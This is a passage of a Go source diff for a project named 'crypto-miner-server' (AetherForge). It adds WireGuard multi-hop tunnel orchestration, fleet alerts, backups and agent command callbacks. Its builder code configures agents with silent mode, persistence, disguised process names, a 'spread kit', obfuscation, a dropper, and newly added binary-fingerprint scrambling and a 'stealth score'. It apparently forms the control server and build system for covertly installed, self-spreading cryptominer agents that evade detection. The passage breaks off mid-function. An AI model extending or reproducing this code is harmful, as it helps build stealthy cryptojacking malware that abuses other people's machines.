||||||
|
results <- setupResp{hop: hop, err: res.Error}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p := res.ExternalPort
|
||||||
|
if p == 0 {
|
||||||
|
p = 51820
|
||||||
|
}
|
||||||
|
// If UPnP failed, fall back to the IP the server saw.
|
||||||
|
ip := res.ExternalIP
|
||||||
|
if ip == "" {
|
||||||
|
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
|
||||||
|
ip = hop.ExternalIP // pre-filled below
|
||||||
|
}
|
||||||
|
}
|
||||||
|
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
|
||||||
|
case <-time.After(20 * time.Second):
|
||||||
|
results <- setupResp{hop: hop, err: "timeout waiting for wg_setup response"}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Collect Phase 1 results.
|
||||||
|
for range sess.Hops {
|
||||||
|
r := <-results
|
||||||
|
h.mu.Lock()
|
||||||
|
if r.err != "" {
|
||||||
|
r.hop.Status = HopFailed
|
||||||
|
r.hop.Error = r.err
|
||||||
|
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
|
||||||
|
} else {
|
||||||
|
r.hop.PublicKey = r.pub
|
||||||
|
r.hop.ExternalIP = r.ip
|
||||||
|
r.hop.Port = r.port
|
||||||
|
r.hop.Status = HopReady
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// If any hop failed at setup, abort.
|
||||||
|
h.mu.Lock()
|
||||||
|
anyFailed := false
|
||||||
|
for _, hop := range sess.Hops {
|
||||||
|
if hop.Status == HopFailed {
|
||||||
|
anyFailed = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
if anyFailed {
|
||||||
|
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Phase 2: send wg_configure to each hop.
|
||||||
|
// Build per-hop configs:
|
||||||
|
// - Last hop: peer = none (it's the exit), just IP forwarding
|
||||||
|
// - Middle hops: peer = next hop
|
||||||
|
// - First hop: peer = next hop, or none if single-hop (client connects directly)
|
||||||
|
//
|
||||||
|
// The CLIENT config always points to the FIRST hop.
|
||||||
|
|
||||||
|
type cfgResp struct {
|
||||||
|
hop *HopInfo
|
||||||
|
err string
|
||||||
|
}
|
||||||
|
cfgResults := make(chan cfgResp, len(sess.Hops))
|
||||||
|
|
||||||
|
for i, hop := range sess.Hops {
|
||||||
|
hop := hop
|
||||||
|
i := i
|
||||||
|
|
||||||
|
payload := map[string]interface{}{
|
||||||
|
"session_id": sess.ID,
|
||||||
|
"private_key": "", // agent uses its own generated key
|
||||||
|
"local_address": hop.LocalAddr,
|
||||||
|
"listen_port": hop.Port,
|
||||||
|
"enable_ip_forwarding": true,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Peers for this hop: only for relay hops (all except the exit/last hop).
|
||||||
|
if i < len(sess.Hops)-1 {
|
||||||
|
nextHop := sess.Hops[i+1]
|
||||||
|
payload["peers"] = []map[string]interface{}{
|
||||||
|
{
|
||||||
|
"public_key": nextHop.PublicKey,
|
||||||
|
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
|
||||||
|
"allowed_ips": "0.0.0.0/0",
|
||||||
|
"persistent_keepalive": 25,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
payload["peers"] = []map[string]interface{}{}
|
||||||
|
}
|
||||||
|
|
||||||
|
dataJSON, _ := json.Marshal(payload)
|
||||||
|
|
||||||
|
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
|
||||||
|
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||||
|
Type: "command",
|
||||||
|
Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"action": "wg_configure",
|
||||||
|
"data": string(dataJSON),
|
||||||
|
}),
|
||||||
|
})
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
select {
|
||||||
|
case p := <-ch:
|
||||||
|
success, _ := p["success"].(bool)
|
||||||
|
if !success {
|
||||||
|
msg, _ := p["message"].(string)
|
||||||
|
cfgResults <- cfgResp{hop: hop, err: msg}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cfgResults <- cfgResp{hop: hop}
|
||||||
|
case <-time.After(60 * time.Second):
|
||||||
|
cfgResults <- cfgResp{hop: hop, err: "timeout waiting for wg_configure"}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
for range sess.Hops {
|
||||||
|
r := <-cfgResults
|
||||||
|
h.mu.Lock()
|
||||||
|
if r.err != "" {
|
||||||
|
r.hop.Status = HopFailed
|
||||||
|
r.hop.Error = r.err
|
||||||
|
if sess.Error == "" {
|
||||||
|
sess.Error = "configure failed on " + r.hop.AgentID[:8] + ": " + r.err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
h.mu.Lock()
|
||||||
|
allReady := true
|
||||||
|
for _, hop := range sess.Hops {
|
||||||
|
if hop.Status != HopReady {
|
||||||
|
allReady = false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if allReady {
|
||||||
|
sess.Ready = true
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
|
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
||||||
|
}
|
||||||
|
|
||||||
|
// buildClientConfig generates the WireGuard config text the user scans/imports.
|
||||||
|
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
|
||||||
|
h.mu.Lock()
|
||||||
|
defer h.mu.Unlock()
|
||||||
|
|
||||||
|
var sb strings.Builder
|
||||||
|
sb.WriteString("[Interface]\n")
|
||||||
|
sb.WriteString("PrivateKey = " + sess.clientPrivKey + "\n")
|
||||||
|
sb.WriteString("Address = 10.66.0.1/24\n")
|
||||||
|
sb.WriteString("DNS = 1.1.1.1\n\n")
|
||||||
|
|
||||||
|
// Phone always connects to the first hop.
|
||||||
|
first := sess.Hops[0]
|
||||||
|
sb.WriteString("[Peer]\n")
|
||||||
|
sb.WriteString("PublicKey = " + first.PublicKey + "\n")
|
||||||
|
sb.WriteString(fmt.Sprintf("Endpoint = %s:%d\n", first.ExternalIP, first.Port))
|
||||||
|
sb.WriteString("AllowedIPs = 0.0.0.0/0\n")
|
||||||
|
sb.WriteString("PersistentKeepalive = 25\n")
|
||||||
|
|
||||||
|
return sb.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── helpers ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (h *PathTracerHandler) getSession(id string) *TraceSession {
|
||||||
|
h.mu.Lock()
|
||||||
|
defer h.mu.Unlock()
|
||||||
|
return h.sessions[id]
|
||||||
|
}
|
||||||
|
|
||||||
|
// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
|
||||||
|
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
return h.agents[id]
|
||||||
|
}
|
||||||
|
|
||||||
|
func generateServerWGKeyPair() (privB64, pubB64 string, err error) {
|
||||||
|
var priv [32]byte
|
||||||
|
if _, err = rand.Read(priv[:]); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
priv[0] &= 248
|
||||||
|
priv[31] &= 127
|
||||||
|
priv[31] |= 64
|
||||||
|
var pub [32]byte
|
||||||
|
curve25519.ScalarBaseMult(&pub, &priv)
|
||||||
|
privB64 = base64.StdEncoding.EncodeToString(priv[:])
|
||||||
|
pubB64 = base64.StdEncoding.EncodeToString(pub[:])
|
||||||
|
return
|
||||||
|
}
|
||||||
@@ -401,9 +401,14 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
|
||||||
ensureUsersLoaded(dataDir)
|
ensureUsersLoaded(dataDir)
|
||||||
|
|
||||||
|
version := "AetherForge"
|
||||||
|
if len(serverVersion) > 0 && serverVersion[0] != "" {
|
||||||
|
version = serverVersion[0]
|
||||||
|
}
|
||||||
|
|
||||||
r := chi.NewRouter()
|
r := chi.NewRouter()
|
||||||
|
|
||||||
// Middleware (global)
|
// Middleware (global)
|
||||||
@@ -425,6 +430,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
h := NewHandler(database)
|
h := NewHandler(database)
|
||||||
|
|
||||||
r.Get("/health", h.HealthCheck)
|
r.Get("/health", h.HealthCheck)
|
||||||
|
r.Get("/server/ready", h.ServerReady)
|
||||||
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
||||||
override := ""
|
override := ""
|
||||||
if publicURLOverride != nil {
|
if publicURLOverride != nil {
|
||||||
@@ -453,6 +459,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
// Fleet ops
|
// Fleet ops
|
||||||
if fleetHandler != nil {
|
if fleetHandler != nil {
|
||||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||||
|
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
||||||
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
||||||
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
||||||
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
||||||
@@ -529,6 +536,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
writeJSON(w, map[string]interface{}{"success": true})
|
writeJSON(w, map[string]interface{}{"success": true})
|
||||||
})
|
})
|
||||||
|
|
||||||
|
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
||||||
|
backupH := NewBackupHandler(dataDir, version)
|
||||||
|
r.Get("/backup", backupH.ServeHTTP)
|
||||||
|
|
||||||
|
// Path Tracer — on-demand WireGuard chain sessions
|
||||||
|
if pathTracerHandler != nil {
|
||||||
|
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||||
|
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
||||||
|
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
||||||
|
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||||
|
}
|
||||||
|
|
||||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||||
|
|||||||
@@ -348,7 +348,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
|||||||
cfg := &mockConfigProvider{}
|
cfg := &mockConfigProvider{}
|
||||||
configHandler := NewConfigHandler(cfg)
|
configHandler := NewConfigHandler(cfg)
|
||||||
aiHandler := NewAIHandler(database)
|
aiHandler := NewAIHandler(database)
|
||||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
||||||
@@ -424,7 +424,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
|||||||
cfg := &mockConfigProvider{}
|
cfg := &mockConfigProvider{}
|
||||||
configHandler := NewConfigHandler(cfg)
|
configHandler := NewConfigHandler(cfg)
|
||||||
aiHandler := NewAIHandler(database)
|
aiHandler := NewAIHandler(database)
|
||||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
|
|
||||||
|
|||||||
@@ -2,8 +2,10 @@ package api
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/subtle"
|
"crypto/subtle"
|
||||||
|
"database/sql"
|
||||||
"encoding/base64"
|
"encoding/base64"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -11,6 +13,7 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/alerts"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
"crypto-miner-server/internal/pool"
|
"crypto-miner-server/internal/pool"
|
||||||
@@ -100,6 +103,9 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
|
|||||||
return d.Conn.WriteControl(messageType, data, deadline)
|
return d.Conn.WriteControl(messageType, data, deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||||||
|
type cmdResultKey struct{ AgentID, Action string }
|
||||||
|
|
||||||
type WSHub struct {
|
type WSHub struct {
|
||||||
db *db.Database
|
db *db.Database
|
||||||
agents map[string]*AgentConnection
|
agents map[string]*AgentConnection
|
||||||
@@ -115,7 +121,13 @@ type WSHub struct {
|
|||||||
serverPolicy ServerPolicy
|
serverPolicy ServerPolicy
|
||||||
pingIntervalSec int
|
pingIntervalSec int
|
||||||
fleetSecret string // baked into forged agents; verified on WS connect
|
fleetSecret string // baked into forged agents; verified on WS connect
|
||||||
|
eventNotifier *alerts.Notifier
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
|
|
||||||
|
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||||
|
// from an agent (used by Path Tracer orchestration).
|
||||||
|
pendingCmdMu sync.Mutex
|
||||||
|
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewWSHub(database *db.Database) *WSHub {
|
func NewWSHub(database *db.Database) *WSHub {
|
||||||
@@ -128,14 +140,15 @@ func NewWSHub(database *db.Database) *WSHub {
|
|||||||
}
|
}
|
||||||
|
|
||||||
h := &WSHub{
|
h := &WSHub{
|
||||||
db: database,
|
db: database,
|
||||||
agents: make(map[string]*AgentConnection),
|
agents: make(map[string]*AgentConnection),
|
||||||
dashboards: make(map[string]*DashboardConn),
|
dashboards: make(map[string]*DashboardConn),
|
||||||
agentConfigs: make(map[string]AgentForgeConfig),
|
agentConfigs: make(map[string]AgentForgeConfig),
|
||||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||||
agentLogs: make(map[string]string),
|
agentLogs: make(map[string]string),
|
||||||
agentDNS: make(map[string][]string),
|
agentDNS: make(map[string][]string),
|
||||||
pingIntervalSec: 30,
|
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||||
|
pingIntervalSec: 30,
|
||||||
}
|
}
|
||||||
|
|
||||||
// Background stale-agent sweep: if an agent's last_seen is more than
|
// Background stale-agent sweep: if an agent's last_seen is more than
|
||||||
@@ -206,6 +219,12 @@ func (h *WSHub) SetPingInterval(seconds int) {
|
|||||||
|
|
||||||
// SetFleetSecret stores the shared secret that all forged agents must present.
|
// SetFleetSecret stores the shared secret that all forged agents must present.
|
||||||
// Called once at startup from main.go after config is loaded.
|
// Called once at startup from main.go after config is loaded.
|
||||||
|
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
|
||||||
|
h.mu.Lock()
|
||||||
|
h.eventNotifier = n
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
func (h *WSHub) SetFleetSecret(secret string) {
|
func (h *WSHub) SetFleetSecret(secret string) {
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
h.fleetSecret = secret
|
h.fleetSecret = secret
|
||||||
@@ -299,6 +318,40 @@ func (h *WSHub) connectedAgentCount() int {
|
|||||||
return len(h.agents)
|
return len(h.agents)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AwaitCommandResult registers a one-shot channel that will receive the next
|
||||||
|
// command_result payload for the given agentID+action pair. Call before
|
||||||
|
// sending the command so no result is missed. The caller must read from the
|
||||||
|
// returned channel within the given timeout.
|
||||||
|
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
|
||||||
|
ch := make(chan map[string]interface{}, 1)
|
||||||
|
h.pendingCmdMu.Lock()
|
||||||
|
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
|
||||||
|
h.pendingCmdMu.Unlock()
|
||||||
|
return ch
|
||||||
|
}
|
||||||
|
|
||||||
|
// CancelAwait removes a pending callback without consuming it.
|
||||||
|
func (h *WSHub) CancelAwait(agentID, action string) {
|
||||||
|
h.pendingCmdMu.Lock()
|
||||||
|
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||||||
|
h.pendingCmdMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
|
||||||
|
h.pendingCmdMu.Lock()
|
||||||
|
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
|
||||||
|
if ok {
|
||||||
|
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||||||
|
}
|
||||||
|
h.pendingCmdMu.Unlock()
|
||||||
|
if ok {
|
||||||
|
select {
|
||||||
|
case ch <- payload:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (h *WSHub) isAgentConnected(agentID string) bool {
|
func (h *WSHub) isAgentConnected(agentID string) bool {
|
||||||
h.mu.RLock()
|
h.mu.RLock()
|
||||||
defer h.mu.RUnlock()
|
defer h.mu.RUnlock()
|
||||||
@@ -582,6 +635,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
clientIP = clientIP[:idx]
|
clientIP = clientIP[:idx]
|
||||||
}
|
}
|
||||||
|
|
||||||
|
prior, priorErr := h.db.GetAgent(agentID)
|
||||||
|
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||||
|
|
||||||
agent := &models.Agent{
|
agent := &models.Agent{
|
||||||
ID: agentID,
|
ID: agentID,
|
||||||
Name: displayName,
|
Name: displayName,
|
||||||
@@ -616,8 +672,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
// two concurrent new agents could both pass the count check under RLock, then
|
// two concurrent new agents could both pass the count check under RLock, then
|
||||||
// both get registered, overshooting the limit.
|
// both get registered, overshooting the limit.
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
|
_, alreadyConnected := h.agents[agentID]
|
||||||
if policy.MaxAgents > 0 {
|
if policy.MaxAgents > 0 {
|
||||||
_, alreadyConnected := h.agents[agentID]
|
|
||||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
@@ -653,6 +709,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
Payload: mustMarshal(agent),
|
Payload: mustMarshal(agent),
|
||||||
})
|
})
|
||||||
|
|
||||||
|
if h.eventNotifier != nil {
|
||||||
|
platform := auth.Platform
|
||||||
|
if platform == "" {
|
||||||
|
platform = "unknown"
|
||||||
|
}
|
||||||
|
if isNewAgent {
|
||||||
|
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
|
||||||
|
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
|
||||||
|
} else if alreadyConnected {
|
||||||
|
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||||||
|
displayName+" took over an active session ("+clientIP+")")
|
||||||
|
} else if prior != nil && prior.Status != "online" {
|
||||||
|
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||||||
|
displayName+" is back online ("+platform+" · "+clientIP+")")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
case "stats":
|
case "stats":
|
||||||
if agentID == "" {
|
if agentID == "" {
|
||||||
continue
|
continue
|
||||||
@@ -721,7 +794,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||||||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||||||
|
|
||||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
|
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||||
|
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||||
|
|
||||||
|
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||||
|
|
||||||
broadcast := map[string]interface{}{
|
broadcast := map[string]interface{}{
|
||||||
"agent_id": agentID,
|
"agent_id": agentID,
|
||||||
@@ -972,6 +1048,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
payload["agent_id"] = agentID
|
payload["agent_id"] = agentID
|
||||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||||
|
// Notify any handler waiting for this specific agent+action result.
|
||||||
|
if action, _ := payload["action"].(string); action != "" {
|
||||||
|
h.notifyCmdCallback(agentID, action, payload)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -106,6 +106,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
|||||||
}); err != nil {
|
}); err != nil {
|
||||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||||
}
|
}
|
||||||
|
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes)
|
||||||
|
|
||||||
return BuildResponse{
|
return BuildResponse{
|
||||||
Success: true,
|
Success: true,
|
||||||
@@ -229,6 +230,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
|||||||
}); err != nil {
|
}); err != nil {
|
||||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||||
}
|
}
|
||||||
|
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes2)
|
||||||
|
|
||||||
return BuildResponse{
|
return BuildResponse{
|
||||||
Success: true,
|
Success: true,
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/alerts"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
|
|
||||||
@@ -36,6 +37,7 @@ type BuildRequest struct {
|
|||||||
DisplayMode string `json:"display_mode"`
|
DisplayMode string `json:"display_mode"`
|
||||||
SilentMode bool `json:"silent_mode"`
|
SilentMode bool `json:"silent_mode"`
|
||||||
RunAs string `json:"run_as"`
|
RunAs string `json:"run_as"`
|
||||||
|
HostBinaryTarget string `json:"host_binary_target"`
|
||||||
AutoStart bool `json:"auto_start"`
|
AutoStart bool `json:"auto_start"`
|
||||||
Persistence bool `json:"persistence"`
|
Persistence bool `json:"persistence"`
|
||||||
ProcessName string `json:"process_name"`
|
ProcessName string `json:"process_name"`
|
||||||
@@ -80,6 +82,7 @@ type BuildRequest struct {
|
|||||||
TargetArch string `json:"target_arch"`
|
TargetArch string `json:"target_arch"`
|
||||||
SpreadKit bool `json:"spread_kit"`
|
SpreadKit bool `json:"spread_kit"`
|
||||||
Obfuscate bool `json:"obfuscate"`
|
Obfuscate bool `json:"obfuscate"`
|
||||||
|
SigilScramble bool `json:"sigil_scramble"`
|
||||||
SignBuild bool `json:"sign_build"`
|
SignBuild bool `json:"sign_build"`
|
||||||
BackupPools []BackupPool `json:"backup_pools"`
|
BackupPools []BackupPool `json:"backup_pools"`
|
||||||
// CancelToken is a client-generated UUID. Pass the same token to
|
// CancelToken is a client-generated UUID. Pass the same token to
|
||||||
@@ -126,6 +129,9 @@ type BuildResponse struct {
|
|||||||
WorkerFile string `json:"worker_file,omitempty"`
|
WorkerFile string `json:"worker_file,omitempty"`
|
||||||
Signed bool `json:"signed,omitempty"`
|
Signed bool `json:"signed,omitempty"`
|
||||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||||
|
SigilScramble bool `json:"sigil_scramble,omitempty"`
|
||||||
|
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
|
||||||
|
StealthScore int `json:"stealth_score,omitempty"`
|
||||||
Error string `json:"error,omitempty"`
|
Error string `json:"error,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -155,7 +161,8 @@ type Handler struct {
|
|||||||
goWinresPath string
|
goWinresPath string
|
||||||
serverModDir string
|
serverModDir string
|
||||||
policy BuildPolicy
|
policy BuildPolicy
|
||||||
fleetSecret string // injected from server config; baked into every forge output
|
fleetSecret string // injected from server config; baked into every forge output
|
||||||
|
eventNotifier *alerts.Notifier
|
||||||
|
|
||||||
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||||||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||||||
@@ -168,6 +175,19 @@ func (h *Handler) SetFleetSecret(secret string) {
|
|||||||
h.fleetSecret = secret
|
h.fleetSecret = secret
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
|
||||||
|
h.eventNotifier = n
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
|
||||||
|
if h.eventNotifier == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
sizeMB := float64(sizeBytes) / 1024 / 1024
|
||||||
|
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
|
||||||
|
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
|
||||||
|
}
|
||||||
|
|
||||||
// CancelBuild cancels an in-progress build identified by cancelToken.
|
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||||||
// Returns true if the token was found and cancelled, false if unknown.
|
// Returns true if the token was found and cancelled, false if unknown.
|
||||||
func (h *Handler) CancelBuild(cancelToken string) bool {
|
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||||||
@@ -631,6 +651,23 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
scrambled := false
|
||||||
|
fingerprint := ""
|
||||||
|
if shouldSigilScramble(req) {
|
||||||
|
fp, err := ApplySigilScramble(finalPath, buildID)
